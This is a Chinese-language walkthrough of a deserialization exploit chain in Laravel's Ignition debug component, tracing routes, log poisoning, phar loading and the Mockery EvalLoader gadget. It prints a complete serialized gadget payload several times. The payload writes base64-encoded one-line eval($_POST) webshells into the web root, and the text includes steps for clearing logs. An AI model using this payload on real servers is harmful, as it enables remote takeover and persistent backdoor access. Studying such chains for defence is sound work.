O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{
s:10:"connection";
O:32:"Mockery\Generator\MockDefinition":2:{
s:9:"*config";
O:35:"Mockery\Generator\MockConfiguration":1:{
s:7:"*name";
s:7:"abcdefg";
}
s:7:"*code";
s:254:"<?php $c='echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+| base64 -d > /Host/laravel/public/server.php';system($c);exec($c);shell_exec($c);eval('file_put_contents("/Host/laravel/public/s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+"));'); exit; ?>";
}
}
}
Illuminate\Broadcasting\PendingBroadcast 類是一個用於定義和管理廣播事件(BroadcastEvent)的類。通過構造函數傳遞的事件對象來定義要廣播的事件。
Illuminate\Bus\Dispatcher 類是 Laravel 中的命令匯流排(Command Bus)實現的類。這個類負責接收和分發待處理的廣播事件到相應的廣播者(Broadcast Event)。
Mockery\Loader\EvalLoader 類是 Laravel 測試框架所使用的一個庫。這個類負責載入 ‘Mockery’ 庫的一些定義以及動態地生成測試用的模擬對象。
Illuminate\Broadcasting\BroadcastEvent 類是一個實現了廣播事件介面的類。它定義了廣播事件的屬性和行為,例如連接名稱等。
Mockery\Generator\MockDefinition 類是一個用於定義和配置模擬對象的類。它包含了模擬對象的代碼和配置信息。
Mockery\Generator\MockConfiguration 類是 Mockery 庫用於生成模擬對象時的配置類。它定義了模擬對象的名稱等配置信息。
Laravel走了什麼流程導致中招的?
清空日誌:
1. facade/ignition組件是以擴展的形式使用的,laravel載入擴展包情況如下:
服務提供者 將你的擴展包和 Laravel 聯繫在一起。服務提供者負責將事物綁定到 Laravel 服務容器 中,並告訴 Laravel 從哪裡載入擴展包的資源文件,例如視圖、配置文件、語言包等。
服務提供者繼承了 Illuminate\Support\ServiceProvider 類,並包含兩個方法: register 和 boot。基類 ServiceProvider 位於 Composer 擴展包的 illuminate/support 中,你必須將它添加到你的擴展包依賴項中。
2. 此時就到了vendor/facade/ignition/src/IgnitionServiceProvider.php的register方法中。
3. 依據laravel載入擴展規則,boot方法也會在調用register方法的後續的階段中調用。
4. boot方法調用了registerHousekeepingRoutes方法。
5. registerHousekeepingRoutes方法聲明瞭一些路由,其中有一個execute-solution路由。
6. execute-solution路由調用了ExecuteSolutionController控制器,然而這個路由未聲明調用控制器哪的方法,但是出現了一個__invoke魔術方法。當一個對象被作為函數(方法)調用時,PHP 會查找該對象是否實現了 __invoke 方法。如果實現了該方法,PHP 將調用此方法,並將傳入的參數傳遞給 __invoke 方法,此時路由的參數2可能是當做了方法調用,因此invoke方法被調用。
7. 在__invoke方法被調用時,利用反射實例化了SolutionProviderRepository對象,併在接下來的過程中調用了getRunnableSolution方法。
8. 在getRunnableSolution方法中,調用了getSolution方法。
9. 在getSolution方法中,通過接收傳遞過來的solution項中獲取Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution對象。
10. 在getRunnableSolution方法中,getSolution方法的結果賦值給$solution變數,並判斷是否是可運行的解決方案,之後返回。
11. 此時可得,$solution = $request->getRunnableSolution()就是Facade\Ignition\Solutions\MakeViewVariableOptionalSolution對象。
12. 此時已經到了ExecuteSolutionController控制器__invoke方法中的run方法。調用了Facade\Ignition\Solutions\MakeViewVariableOptionalSolution對象的run方法,走到了vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php中的makeOptional方法,上游文章已說明,不在贅述。
13. 接著走到了vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php文件,run方法中的file_put_contents方法,進行了未經嚴格過濾的的寫操作。
添加偏移量:原理同上。
植入編碼後的漏洞代碼:部分同上,代碼執行到vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php中makeOptional方法的file_get_contents()方法就會報錯,報錯的日誌,剛好攜帶著編碼後的漏洞代碼植入到了日誌當中。
格式化:原理同上。
反序列化流程:
1. 部分流程同上,此時到了vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php中makeOptional方法的file_get_contents()方法,使用phar的偽協議調用了格式化後的日誌文件,把日誌當做phar文件執行,開始走序列化日誌裡面的代碼。
2. 序列化Illuminate\Broadcasting\PendingBroadcast,併在構造函數中傳遞一個 Illuminate\Bus\Dispatcher,和Illuminate\Broadcasting\BroadcastEvent對象。其中vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php文件中的via(),toOthers()方法都未被執行,只執行了__destruct()方法。
3. __destruct()方法中的流程,實際是將Illuminate\Broadcasting\BroadcastEvent對象傳入了Illuminate\Bus\Dispatcher對象的dispatch方法。
4. Illuminate\Broadcasting\BroadcastEvent並沒有connection屬性,沒有__wakeup()和__desctuct()方法,此處標記為甲。然後看Mockery\Generator\MockDefinition對象,傳入了Mockery\Generator\MockConfiguration對象,和<?php $c='echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+| base64 -d > /Host/laravel/public/server.php';system($c);exec($c);shell_exec($c);eval('file_put_contents("/Host/laravel/public/s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+"));'); exit; ?>的一句話木馬,這裡base64是為了方便編碼,原生的需要轉義,Mockery\Generator\MockConfiguration傳入了一個受保護的成員屬性name,值為abcdefg,此處標記為乙。
5. 然後後回過頭看Illuminate\Bus\Dispatcher,受保護的屬性queueResolver傳遞的是Mockery\Loader\EvalLoader對象,上游已經說了,Illuminate\Broadcasting\BroadcastEvent對象傳入了Illuminate\Bus\Dispatcher對象的dispatch方法,也就是調用了Illuminate\Bus\Dispatcher的dispatch()方法,$command參數就是Illuminate\Broadcasting\BroadcastEvent對象。
6. Illuminate\Bus\Dispatcher的dispatch()方法中,$this->queueResolver是存在的,並且Illuminate\Broadcasting\BroadcastEvent instanceof ShouldQueue是true,所以調用了Illuminate\Bus\Dispatcher下的dispatchToQueue()方法。
7. 上文說到了甲,原本是沒有connection屬性的,結果被硬是被反序列化添加上了這個屬性,流程走到了$queue = call_user_func($this->queueResolver, $connection);
8. 為了徹底理清楚對象,將其參與者列印了出來。{"command":"Illuminate\\Broadcasting\\BroadcastEvent","connection":"Mockery\\Generator\\MockDefinition","queueResolver":[{"Mockery\\Loader\\EvalLoader":[]},"load"]}
9. 於是可以轉化成$queue = call_user_func([{"Mockery\\Loader\\EvalLoader":[]},"load"], Mockery\\Generator\\MockDefinition);
10.在Mockery\Loader\EvalLoader的load方法中,傳入了Mockery\Generator\MockDefinition對象,此時輸出$definition->getClassName()得到的是abcdefg,正是前文的乙所序列化的數據。
10. 此時已經繞過了判斷類是否存在的驗證,之後就是調用$definition->getCode()方法,$definition對象的由來前文已經說明,正是前文的乙所序列化的數據。利用EvalLoader自帶的eval函數執行惡意的payload,拼接如下結果:?><?php $c='echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+| base64 -d > /Host/laravel/public/server.php';system($c);exec($c);shell_exec($c);eval('file_put_contents("/Host/laravel/public/s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+"));'); exit; ?>
11. ?>符號不影響eval執行,eval關鍵字被執行後,在項目根目錄下生成了兩個一句話木馬文件,至此反序列化漏洞利用完成,伺服器淪陷,黑客攻擊成功,演示完畢。